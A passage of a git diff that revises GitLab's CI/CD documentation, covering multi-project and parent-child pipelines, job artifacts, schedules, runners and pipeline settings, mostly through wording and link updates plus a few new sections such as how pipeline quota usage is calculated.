require dedicated, more powerful, or specific hardware. -- GitLab has [autoscaling for runners](https://docs.gitlab.com/runner/configuration/autoscale.html) - which will let you configure them to be provisioned as needed, and scaled down when not. +- GitLab has [autoscaling for runners](https://docs.gitlab.com/runner/configuration/autoscale.html). + Use autoscaling to provision runners only when needed, and scale down when not needed. This is similar to ephemeral agents in Jenkins. If you are using `gitlab.com`, you can take advantage of our [shared runner fleet](../../user/gitlab_com/index.md#shared-runners) @@ -189,8 +189,8 @@ pdf: ``` Additionally, we have package management features like a built-in container, NPM, and Maven registry that you -can leverage. You can see the complete list of packaging features (which includes links to documentation) -in the [Packaging section of our documentation](../../README.md#package). +can leverage. You can see the complete list of packaging features in the +[Packages & Registries](../../user/packages/index.md) documentation. ## Integrated features @@ -227,15 +227,15 @@ and is meant to be a mapping of concepts there to concepts in GitLab. #### `agent` -The agent section is used to define how a pipeline will be executed. For GitLab, we use [runners](../runners/README.md) +The agent section is used to define how a pipeline executes. For GitLab, we use [runners](../runners/README.md) to provide this capability. You can configure your own runners in Kubernetes or on any host, or take advantage -of our shared runner fleet (note that the shared runner fleet is only available for GitLab.com users.) The link above will bring you to the documentation which will describe how to get -up and running quickly. We also support using [tags](../runners/README.md#use-tags-to-limit-the-number-of-jobs-using-the-runner) to direct different jobs +of our shared runner fleet (note that the shared runner fleet is only available for GitLab.com users). +We also support using [tags](../runners/README.md#use-tags-to-limit-the-number-of-jobs-using-the-runner) to direct different jobs to different runners (execution agents). The `agent` section also allows you to define which Docker images should be used for execution, for which we use the [`image`](../yaml/README.md#image) keyword. The `image` can be set on a single job or at the top level, in which -case it will apply to all jobs in the pipeline: +case it applies to all jobs in the pipeline: ```yaml my_job: @@ -246,7 +246,7 @@ my_job: The `post` section defines the actions that should be performed at the end of the pipeline. GitLab also supports this through the use of stages. You can define your stages as follows, and any jobs assigned to the `before_pipeline` -or `after_pipeline` stages will run as expected. You can call these stages anything you like: +or `after_pipeline` stages run as expected. You can call these stages anything you like: ```yaml stages: diff --git a/doc/ci/multi_project_pipeline_graphs.md b/doc/ci/multi_project_pipeline_graphs.md index af10e5b6126..66efa0a7c35 100644 --- a/doc/ci/multi_project_pipeline_graphs.md +++ b/doc/ci/multi_project_pipeline_graphs.md @@ -3,3 +3,6 @@ redirect_to: 'multi_project_pipelines.md' --- This document was moved to [another location](multi_project_pipelines.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/multi_project_pipelines.md b/doc/ci/multi_project_pipelines.md index 5837bf6cf6b..1df196182c0 100644 --- a/doc/ci/multi_project_pipelines.md +++ b/doc/ci/multi_project_pipelines.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -19,9 +19,10 @@ but also across projects with multi-project pipelines. Multi-project pipelines are useful for larger products that require cross-project inter-dependencies, such as those adopting a [microservices architecture](https://about.gitlab.com/blog/2016/08/16/trends-in-version-control-land-microservices/). -For a demonstration of how cross-functional development teams can use cross-pipeline -triggering to trigger multiple pipelines for different microservices projects, see -[Cross-project Pipeline Triggering and Visualization](https://about.gitlab.com/handbook/marketing/product-marketing/demo/#cross-project-pipeline-triggering-and-visualization-may-2019---1110). +Cross-functional development teams can use cross-pipeline +triggering to trigger multiple pipelines for different microservices projects. Learn more +in the [Cross-project Pipeline Triggering and Visualization demo](https://about.gitlab.com/learn/) +at GitLab@learn, in the Continuous Integration (CI) section. Additionally, it's possible to visualize the entire pipeline, including all cross-project inter-dependencies. **(PREMIUM)** @@ -46,7 +47,7 @@ When you configure GitLab CI/CD for your project, you can visualize the stages o  In the Merge Request Widget, multi-project pipeline mini-graphs are displayed, -and when hovering or tapping (on touchscreen devices) they will expand and be shown adjacent to each other. +and when hovering or tapping (on touchscreen devices) they expand and are shown adjacent to each other.  @@ -97,16 +98,16 @@ staging: trigger: my/deployment ``` -In the example above, as soon as `rspec` job succeeds in the `test` stage, -the `staging` bridge job is going to be started. The initial status of this -job will be `pending`. GitLab will create a downstream pipeline in the -`my/deployment` project and, as soon as the pipeline gets created, the -`staging` job will succeed. `my/deployment` is a full path to that project. +In the example above, as soon as the `rspec` job succeeds in the `test` stage, +the `staging` bridge job is started. The initial status of this +job is `pending`. GitLab then creates a downstream pipeline in the +`my/deployment` project and, as soon as the pipeline is created, the +`staging` job succeeds. `my/deployment` is a full path to that project. The user that created the upstream pipeline needs to have access rights to the -downstream project (`my/deployment` in this case). If a downstream project can -not be found, or a user does not have access rights to create pipeline there, -the `staging` job is going to be marked as _failed_. +downstream project (`my/deployment` in this case). If a downstream project is +not found, or a user does not have access rights to create a pipeline there, +the `staging` job is marked as _failed_. When using: @@ -117,21 +118,18 @@ When using: - [`only/except`](yaml/README.md#onlyexcept-basic) to control job behavior, use the `pipelines` keyword. -CAUTION: **Caution:** -In the example, `staging` will be marked as succeeded as soon as a downstream pipeline +In the example, `staging` is marked as successful as soon as a downstream pipeline gets created. If you want to display the downstream pipeline's status instead, see [Mirroring status from triggered pipeline](#mirroring-status-from-triggered-pipeline). -NOTE: **Note:** -Bridge jobs do not support every configuration entry that a user can use -in the case of regular jobs. Bridge jobs will not be picked by a runner, -so there is no point in adding support for `script`, for example. If a user -tries to use unsupported configuration syntax, YAML validation will fail upon -pipeline creation. +NOTE: +Bridge jobs [do not support every configuration keyword](#limitations) that can be used +with other jobs. If a user tries to use unsupported configuration keywords, YAML +validation fails on pipeline creation. ### Specifying a downstream pipeline branch -It is possible to specify a branch name that a downstream pipeline will use: +It is possible to specify a branch name that a downstream pipeline uses: ```yaml rspec: @@ -152,10 +150,10 @@ Use: [From GitLab 12.4](https://gitlab.com/gitlab-org/gitlab/-/issues/10126), variable expansion is supported. -GitLab will use a commit that is currently on the HEAD of the branch when +GitLab uses a commit that is on the head of the branch when creating a downstream pipeline. -NOTE: **Note:** +NOTE: Pipelines triggered on a protected branch in a downstream project use the [permissions](../user/permissions.md) of the user that ran the trigger job in the upstream project. If the user does not have permission to run CI/CD pipelines against the protected branch, the pipeline fails. See @@ -181,10 +179,10 @@ staging: trigger: my/deployment ``` -The `ENVIRONMENT` variable will be passed to every job defined in a downstream -pipeline. It will be available as an environment variable when GitLab Runner picks a job. +The `ENVIRONMENT` variable is passed to every job defined in a downstream +pipeline. It is available as an environment variable when GitLab Runner picks a job. -In the following configuration, the `MY_VARIABLE` variable will be passed to the downstream pipeline +In the following configuration, the `MY_VARIABLE` variable is passed to the downstream pipeline that is created when the `trigger-downstream` job is queued. This is because `trigger-downstream` job inherits variables declared in global variables blocks, and then we pass these variables to a downstream pipeline. @@ -210,7 +208,7 @@ downstream-job: ``` In this scenario, the `UPSTREAM_BRANCH` variable with a value related to the -upstream pipeline will be passed to the `downstream-job` job, and will be available +upstream pipeline is passed to the `downstream-job` job, and is available within the context of all downstream builds. Upstream pipelines take precedence over downstream ones. If there are two @@ -289,9 +287,9 @@ upstream_bridge: ### Limitations -Because bridge jobs are a little different to regular jobs, it is not -possible to use exactly the same configuration syntax here, as one would -normally do when defining a regular job that will be picked by a runner. +Bridge jobs are a little different from regular jobs. It is not +possible to use exactly the same configuration syntax as when defining regular jobs +that are picked by a runner. Some features are not implemented yet. For example, support for environments. @@ -304,6 +302,7 @@ Some features are not implemented yet. For example, support for environments. - `only` and `except` - `when` (only with `on_success`, `on_failure`, and `always` values) - `extends` +- `needs` ## Trigger a pipeline when an upstream project is rebuilt **(PREMIUM)** @@ -318,7 +317,7 @@ tag in a different project: 1. Click subscribe. Any pipelines that complete successfully for new tags in the subscribed project -will now trigger a pipeline on the current project's default branch. The maximum +now trigger a pipeline on the current project's default branch. The maximum number of upstream pipeline subscriptions is 2 by default, for both the upstream and downstream projects. This [application limit](../administration/instance_limits.md#number-of-cicd-subscriptions-to-a-project) can be changed on self-managed instances by a GitLab administrator. diff --git a/doc/ci/parent_child_pipelines.md b/doc/ci/parent_child_pipelines.md index a0965643970..d088d0d7e4d 100644 --- a/doc/ci/parent_child_pipelines.md +++ b/doc/ci/parent_child_pipelines.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -52,8 +52,8 @@ For an overview, see [Parent-Child Pipelines feature demo](https://youtu.be/n8Kp ## Examples The simplest case is [triggering a child pipeline](yaml/README.md#trigger) using a -local YAML file to define the pipeline configuration. In this case, the parent pipeline will -trigger the child pipeline, and continue without waiting: +local YAML file to define the pipeline configuration. In this case, the parent pipeline +triggers the child pipeline, and continues without waiting: ```yaml microservice_a: @@ -158,6 +158,11 @@ For an overview, see [Create child pipelines using dynamically generated configu We also have an [example project using Dynamic Child Pipelines with Jsonnet](https://gitlab.com/gitlab-org/project-templates/jsonnet) which shows how to use a data templating language to generate your `.gitlab-ci.yml` at runtime. You could use a similar process for other templating languages like [Dhall](https://dhall-lang.org/) or [`ytt`](https://get-ytt.io/). +The artifact path is parsed by GitLab, not the runner, so the path must match the +syntax for the OS running GitLab. If GitLab is running on Linux but using a Windows +runner for testing, the path separator for the trigger job would be `/`. Other CI/CD +configuration for jobs, like scripts, that use the Windows runner would use `\`. + In GitLab 12.9, the child pipeline could fail to be created in certain cases, causing the parent pipeline to fail. This is [resolved in GitLab 12.10](https://gitlab.com/gitlab-org/gitlab/-/issues/209070). @@ -173,4 +178,5 @@ possible to trigger another level of child pipelines. ## Pass variables to a child pipeline -You can [pass variables to a downstream pipeline](multi_project_pipelines.md#passing-variables-to-a-downstream-pipeline). +You can [pass variables to a downstream pipeline](multi_project_pipelines.md#passing-variables-to-a-downstream-pipeline) +the same way as for multi-project pipelines. diff --git a/doc/ci/permissions/README.md b/doc/ci/permissions/README.md index bc1e6ce3e0b..897d7b6ce51 100644 --- a/doc/ci/permissions/README.md +++ b/doc/ci/permissions/README.md @@ -3,3 +3,6 @@ redirect_to: '../../user/permissions.md#gitlab-cicd-permissions' --- This document was moved to [user/permissions.md](../../user/permissions.md#gitlab-cicd-permissions). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/pipelines.md b/doc/ci/pipelines.md index edebd12f07a..090dbd3d347 100644 --- a/doc/ci/pipelines.md +++ b/doc/ci/pipelines.md @@ -3,3 +3,6 @@ redirect_to: 'pipelines/index.md' --- This document was moved to [another location](pipelines/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/pipelines/img/ci_efficiency_pipeline_health_grafana_dashboard.png b/doc/ci/pipelines/img/ci_efficiency_pipeline_health_grafana_dashboard.png Binary files differindex 59276bda727..d9b8e71e6cb 100644 --- a/doc/ci/pipelines/img/ci_efficiency_pipeline_health_grafana_dashboard.png +++ b/doc/ci/pipelines/img/ci_efficiency_pipeline_health_grafana_dashboard.png diff --git a/doc/ci/pipelines/index.md b/doc/ci/pipelines/index.md index f22d2373e5f..22e331f2de0 100644 --- a/doc/ci/pipelines/index.md +++ b/doc/ci/pipelines/index.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments disqus_identifier: 'https://docs.gitlab.com/ee/ci/pipelines.html' type: reference --- @@ -10,7 +10,7 @@ type: reference > Introduced in GitLab 8.8. -TIP: **Tip:** +NOTE: Watch the ["Mastering continuous software development"](https://about.gitlab.com/webcast/mastering-ci-cd/) webcast to see a comprehensive demo of a GitLab CI/CD pipeline. @@ -39,7 +39,7 @@ A typical pipeline might consist of four stages, executed in the following order - A `staging` stage, with a job called `deploy-to-stage`. - A `production` stage, with a job called `deploy-to-prod`. -NOTE: **Note:** +NOTE: If you have a [mirrored repository that GitLab pulls from](../../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository), you may need to enable pipeline triggering in your project's **Settings > Repository > Pull from a remote repository > Trigger pipelines for mirror updates**. @@ -213,7 +213,7 @@ page, then using the **Delete** button.  -CAUTION: **Warning:** +WARNING: Deleting a pipeline expires all pipeline caches, and deletes all related objects, such as builds, logs, artifacts, and triggers. **This action cannot be undone.** @@ -261,6 +261,18 @@ The union of A, B, and C is (1, 4) and (6, 7). Therefore, the total running time (4 - 1) + (7 - 6) => 4 ``` +#### How pipeline quota usage is calculated + +Pipeline quota usage is calculated as the sum of the duration of each individual job. This is slightly different to how pipeline _duration_ is [calculated](#how-pipeline-duration-is-calculated). Pipeline quota usage doesn't consider any overlap of jobs running in parallel. + +For example, a pipeline consists of the following jobs: + +- Job A takes 3 minutes. +- Job B takes 3 minutes. +- Job C takes 2 minutes. + +The pipeline quota usage is the sum of each job's duration. In this example, 8 runner minutes would be used, calculated as: 3 + 3 + 2. + ### Pipeline security on protected branches A strict security model is enforced when pipelines are executed on diff --git a/doc/ci/pipelines/job_artifacts.md b/doc/ci/pipelines/job_artifacts.md index 160399e4bc4..787ee8f8573 100644 --- a/doc/ci/pipelines/job_artifacts.md +++ b/doc/ci/pipelines/job_artifacts.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments disqus_identifier: 'https://docs.gitlab.com/ee/user/project/pipelines/job_artifacts.html' type: reference, howto --- @@ -58,7 +58,7 @@ For more examples on artifacts, follow the [artifacts reference in > - Requires GitLab Runner 11.2 and above. The `artifacts:reports` keyword is used for collecting test reports, code quality -reports, and security reports from jobs. It also exposes these reports in GitLab's +reports, and security reports from jobs. It also exposes these reports in the GitLab UI (merge requests, pipeline views, and security dashboards). The test reports are collected regardless of the job results (success or failure). @@ -213,12 +213,34 @@ as artifacts. The collected DAST report uploads to GitLab as an artifact and is summarized in merge requests and the pipeline view. It's also used to provide data for security dashboards. +#### `artifacts:reports:api_fuzzing` **(ULTIMATE)** + +> - Introduced in GitLab 13.4. +> - Requires GitLab Runner 13.4 or later. + +The `api_fuzzing` report collects [API Fuzzing bugs](../../user/application_security/api_fuzzing/index.md) +as artifacts. + +The collected API Fuzzing report uploads to GitLab as an artifact and is summarized in merge +requests and the pipeline view. It's also used to provide data for security dashboards. + +#### `artifacts:reports:coverage_fuzzing` **(ULTIMATE)** + +> - Introduced in GitLab 13.4. +> - Requires GitLab Runner 13.4 or later. + +The `coverage_fuzzing` report collects [coverage fuzzing bugs](../../user/application_security/coverage_fuzzing/index.md) +as artifacts. + +The collected coverage fuzzing report uploads to GitLab as an artifact and is summarized in merge +requests and the pipeline view. It's also used to provide data for security dashboards. + #### `artifacts:reports:license_management` **(ULTIMATE)** > - Introduced in GitLab 11.5. > - Requires GitLab Runner 11.5 and above. -CAUTION: **Warning:** +WARNING: This artifact is still valid but is **deprecated** in favor of the [artifacts:reports:license_scanning](../pipelines/job_artifacts.md#artifactsreportslicense_scanning) introduced in GitLab 12.8. @@ -337,7 +359,7 @@ in the GitLab UI to do this: It's possible to download the latest artifacts of a job via a well known URL so you can use it for scripting purposes. -NOTE: **Note:** +NOTE: The latest artifacts are created by jobs in the **most recent** successful pipeline for the specific ref. If you run two types of pipelines for the same ref, timing determines the latest artifact. For example, if a merge request creates a branch pipeline at the same time as a scheduled pipeline, the pipeline that completed most recently creates the latest artifact. @@ -416,7 +438,7 @@ information in the UI. ## Erasing artifacts -DANGER: **Warning:** +WARNING: This is a destructive action that leads to data loss. Use with caution. You can erase a single job via the UI, which also removes the job's diff --git a/doc/ci/pipelines/pipeline_architectures.md b/doc/ci/pipelines/pipeline_architectures.md index 77614424b33..73677dd6986 100644 --- a/doc/ci/pipelines/pipeline_architectures.md +++ b/doc/ci/pipelines/pipeline_architectures.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -22,8 +22,8 @@ any of the keywords used below, check out our [CI YAML reference](../yaml/README ## Basic Pipelines -This is the simplest pipeline in GitLab. It will run everything in the build stage concurrently, -and once all of those finish, it will run everything in the test stage the same way, and so on. +This is the simplest pipeline in GitLab. It runs everything in the build stage concurrently, +and once all of those finish, it runs everything in the test stage the same way, and so on. It's not the most efficient, and if you have lots of steps it can grow quite complex, but it's easier to maintain: @@ -101,7 +101,7 @@ your jobs. When GitLab knows the relationships between your jobs, it can run eve as fast as possible, and even skips into subsequent stages when possible. In the example below, if `build_a` and `test_a` are much faster than `build_b` and -`test_b`, GitLab will start `deploy_a` even if `build_b` is still running. +`test_b`, GitLab starts `deploy_a` even if `build_b` is still running. ```mermaid graph LR @@ -163,7 +163,7 @@ deploy_b: In the examples above, it's clear we've got two types of things that could be built independently. This is an ideal case for using [Child / Parent Pipelines](../parent_child_pipelines.md)) via -the [`trigger` keyword](../yaml/README.md#trigger). It will separate out the configuration +the [`trigger` keyword](../yaml/README.md#trigger). It separates out the configuration into multiple files, keeping things very simple. You can also combine this with: - The [`rules` keyword](../yaml/README.md#rules): For example, have the child pipelines triggered only diff --git a/doc/ci/pipelines/pipeline_artifacts.md b/doc/ci/pipelines/pipeline_artifacts.md index 8d70fff4e03..e405258092d 100644 --- a/doc/ci/pipelines/pipeline_artifacts.md +++ b/doc/ci/pipelines/pipeline_artifacts.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference, howto --- @@ -13,6 +13,6 @@ Pipeline artifacts are used by the [test coverage visualization feature](../../u ## Storage -Pipeline artifacts are saved to disk or object storage. They count towards a project's [storage usage quota](../../user/group/index.md#storage-usage-quota). The **Artifacts** on the usage quote page is the sum of all job artifacts and pipeline artifacts. +Pipeline artifacts are saved to disk or object storage. They count towards a project's [storage usage quota](../../user/usage_quotas.md#storage-usage-quota). The **Artifacts** on the Usage Quotas page is the sum of all job artifacts and pipeline artifacts. Pipeline artifacts are erased after one week. diff --git a/doc/ci/pipelines/pipeline_efficiency.md b/doc/ci/pipelines/pipeline_efficiency.md index 149c596430c..de78b8558c4 100644 --- a/doc/ci/pipelines/pipeline_efficiency.md +++ b/doc/ci/pipelines/pipeline_efficiency.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -105,10 +105,10 @@ External monitoring tools can poll the API and verify pipeline health or collect metrics for long term SLA analytics. For example, the [GitLab CI Pipelines Exporter](https://github.com/mvisonneau/gitlab-ci-pipelines-exporter) -for Prometheus fetches metrics from the API. It can check branches in projects automatically +for Prometheus fetches metrics from the API and pipeline events. It can check branches in projects automatically and get the pipeline status and duration. In combination with a Grafana dashboard, this helps build an actionable view for your operations team. Metric graphs can also -be embedded into incidents making problem resolving easier. +be embedded into incidents making problem resolving easier. Additionally, it can also export metrics about jobs and environments.  @@ -189,8 +189,12 @@ be more efficient, but can also make pipelines harder to understand and analyze. ### Caching -Another optimization method is to use [caching](../caching/index.md) between jobs and stages, -for example [`/node_modules` for NodeJS](../caching/index.md#caching-nodejs-dependencies). +Another optimization method is to [cache](../caching/index.md) dependencies. If your +dependencies change rarely, like [NodeJS `/node_modules`](../caching/index.md#cache-nodejs-dependencies), +caching can make pipeline execution much faster. + +You can use [`cache:when`](../yaml/README.md#cachewhen) to cache downloaded dependencies +even when a job fails. ### Docker Images diff --git a/doc/ci/pipelines/schedules.md b/doc/ci/pipelines/schedules.md index 9df73957293..35a8888381f 100644 --- a/doc/ci/pipelines/schedules.md +++ b/doc/ci/pipelines/schedules.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments disqus_identifier: 'https://docs.gitlab.com/ee/user/project/pipelines/schedules.html' type: reference, howto --- @@ -43,7 +43,7 @@ To schedule a pipeline for project:  -NOTE: **Note:** +NOTE: Pipelines execution [timing is dependent](#advanced-configuration) on Sidekiq's own schedule. In the **Schedules** index page you can see a list of the pipelines that are @@ -56,15 +56,15 @@ is installed on. > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/12328) in GitLab 9.4. -You can pass any number of arbitrary variables and they will be available in +You can pass any number of arbitrary variables. They are available in GitLab CI/CD so that they can be used in your [`.gitlab-ci.yml` file](../../ci/yaml/README.md).  ### Using only and except -To configure that a job can be executed only when the pipeline has been -scheduled (or the opposite), you can use +To configure a job to be executed only when the pipeline has been +scheduled (or the opposite), use [only and except](../yaml/README.md#onlyexcept-basic) configuration keywords. For example: @@ -102,7 +102,7 @@ For GitLab.com, refer to the [dedicated settings page](../../user/gitlab_com/ind ## Working with scheduled pipelines -Once configured, GitLab supports many functions for working with scheduled pipelines. +After configuration, GitLab supports many functions for working with scheduled pipelines. ### Running manually @@ -115,7 +115,7 @@ To trigger a pipeline schedule manually, click the "Play" button: This schedules a background job to run the pipeline schedule. A flash message provides a link to the CI/CD Pipeline index page. -NOTE: **Note:** +NOTE: To help avoid abuse, users are rate limited to triggering a pipeline once per minute. @@ -128,7 +128,7 @@ The next time a pipeline is scheduled, your credentials are used.  -If the owner of a pipeline schedule does not have the ability to create +If the owner of a pipeline schedule cannot create pipelines on the target branch, the schedule stops creating new pipelines. diff --git a/doc/ci/pipelines/settings.md b/doc/ci/pipelines/settings.md index d2d2cb26256..5a758bccd62 100644 --- a/doc/ci/pipelines/settings.md +++ b/doc/ci/pipelines/settings.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments disqus_identifier: 'https://docs.gitlab.com/ee/user/project/pipelines/settings.html' type: reference, howto --- @@ -26,7 +26,7 @@ There are two options. Using: - `git clone`, which is slower since it clones the repository from scratch for every job, ensuring that the local working copy is always pristine. -- `git fetch`, which is GitLab's default and faster as it re-uses the local working copy (falling +- `git fetch`, which is default in GitLab and faster as it re-uses the local working copy (falling back to clone if it doesn't exist). This is recommended, especially for [large repositories](../large_repositories/index.md#git-strategy). @@ -170,7 +170,7 @@ Pipeline visibility is determined by: - Your current [user access level](../../user/permissions.md). - The **Public pipelines** project setting under your project's **Settings > CI/CD > General pipelines**. -NOTE: **Note:** +NOTE: If the project visibility is set to **Private**, the [**Public pipelines** setting has no effect](../enable_or_disable_ci.md#per-project-user-setting). This also determines the visibility of these related features: @@ -209,7 +209,8 @@ You can set pending or running pipelines to cancel automatically when a new pipe 1. Check the **Auto-cancel redundant, pending pipelines** checkbox. 1. Click **Save changes**. -Note that only jobs with [interruptible](../yaml/README.md#interruptible) set to `true` are cancelled. +Use the [`interruptible`](../yaml/README.md#interruptible) keyword to indicate if a +running job can be cancelled before it completes. ## Skip outdated deployment jobs diff --git a/doc/ci/quick_start/README.md b/doc/ci/quick_start/README.md index f3e60fae13a..7fd88d011b3 100644 --- a/doc/ci/quick_start/README.md +++ b/doc/ci/quick_start/README.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -53,7 +53,7 @@ must [install GitLab Runner](https://docs.gitlab.com/runner/install/) and [register](https://docs.gitlab.com/runner/register/) at least one runner. If you are testing CI/CD, you can install GitLab Runner and register runners on your local machine. -When your CI/CD jobs run, they will run on your local machine. +When your CI/CD jobs run, they run on your local machine. ### Create a `.gitlab-ci.yml` file @@ -79,7 +79,7 @@ To create a `.gitlab-ci.yml` file:  -1. For the **File name** type `.gitlab-ci.yml` and in the larger window, +1. For the **Filename**, type `.gitlab-ci.yml` and in the larger window, paste this sample code: ```yaml diff --git a/doc/ci/quick_start/img/job_details_v13_6.png b/doc/ci/quick_start/img/job_details_v13_6.png Binary files differindex e94287f90ba..073ebc99b6d 100644 --- a/doc/ci/quick_start/img/job_details_v13_6.png +++ b/doc/ci/quick_start/img/job_details_v13_6.png diff --git a/doc/ci/quick_start/img/pipeline_graph_v13_6.png b/doc/ci/quick_start/img/pipeline_graph_v13_6.png Binary files differindex fcf7e02d1f3..cb045125287 100644 --- a/doc/ci/quick_start/img/pipeline_graph_v13_6.png +++ b/doc/ci/quick_start/img/pipeline_graph_v13_6.png diff --git a/doc/ci/quick_start/img/runners_activated.png b/doc/ci/quick_start/img/runners_activated.png Binary files differdeleted file mode 100644 index ac09e1d0137..00000000000 --- a/doc/ci/quick_start/img/runners_activated.png +++ /dev/null diff --git a/doc/ci/quick_start/img/three_stages_v13_6.png b/doc/ci/quick_start/img/three_stages_v13_6.png Binary files differindex a6c049e3e6c..c69581015a9 100644 --- a/doc/ci/quick_start/img/three_stages_v13_6.png +++ b/doc/ci/quick_start/img/three_stages_v13_6.png diff --git a/doc/ci/review_apps/index.md b/doc/ci/review_apps/index.md index ba23eff0434..31fcfe9d6e8 100644 --- a/doc/ci/review_apps/index.md +++ b/doc/ci/review_apps/index.md @@ -1,7 +1,7 @@ --- stage: Release -group: Progressive Delivery -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Release +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -125,7 +125,7 @@ paths (on the website). ### Route Maps example The following is an example of a route map for [Middleman](https://middlemanapp.com), -a static site generator (SSG) used to build [GitLab's website](https://about.gitlab.com), +a static site generator (SSG) used to build the [GitLab website](https://about.gitlab.com), deployed from its [project on GitLab.com](https://gitlab.com/gitlab-com/www-gitlab-com): ```yaml diff --git a/doc/ci/runners/README.md b/doc/ci/runners/README.md index 4392fa3c78b..c9a5f2f3899 100644 --- a/doc/ci/runners/README.md +++ b/doc/ci/runners/README.md @@ -1,7 +1,7 @@ --- stage: Verify group: Runner -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -207,7 +207,7 @@ must be enabled for each project explicitly. Specific runners process jobs by using a first in, first out ([FIFO](https://en.wikipedia.org/wiki/FIFO_(computing_and_electronics))) queue. -NOTE: **Note:** +NOTE: Specific runners do not get shared with forked projects automatically. A fork *does* copy the CI / CD settings of the cloned repository. @@ -271,21 +271,21 @@ How this feature works: 1. You set the _maximum job timeout_ for a runner to 24 hours 1. You set the _CI/CD Timeout_ for a project to **2 hours** 1. You start a job -1. The job, if running longer, will be timed out after **2 hours** +1. The job, if running longer, times out after **2 hours** **Example 2 - Runner timeout not configured** 1. You remove the _maximum job timeout_ configuration from a runner 1. You set the _CI/CD Timeout_ for a project to **2 hours** 1. You start a job -1. The job, if running longer, will be timed out after **2 hours** +1. The job, if running longer, times out after **2 hours** **Example 3 - Runner timeout smaller than project timeout** 1. You set the _maximum job timeout_ for a runner to **30 minutes** 1. You set the _CI/CD Timeout_ for a project to 2 hours 1. You start a job -1. The job, if running longer, will be timed out after **30 minutes** +1. The job, if running longer, times out after **30 minutes** ## Be careful with sensitive information @@ -360,8 +360,8 @@ value of the new token. It may be useful to know the IP address of a runner so you can troubleshoot issues with that runner. GitLab stores and displays the IP address by viewing the source of the HTTP requests it makes to GitLab when polling for jobs. The -IP address is always kept up to date so if the runner IP changes it will be -automatically updated in GitLab. +IP address is always kept up to date so if the runner IP changes it +automatically updates in GitLab. The IP address for shared runners and specific runners can be found in different places. @@ -413,7 +413,7 @@ To make a runner pick untagged jobs: 1. Check the **Run untagged jobs** option. 1. Click the **Save changes** button for the changes to take effect. -NOTE: **Note:** +NOTE: The runner tags list can not be empty when it's not allowed to pick untagged jobs. Below are some example scenarios of different variations. diff --git a/doc/ci/secrets/index.md b/doc/ci/secrets/index.md index fb1183cd68b..f05812f77f7 100644 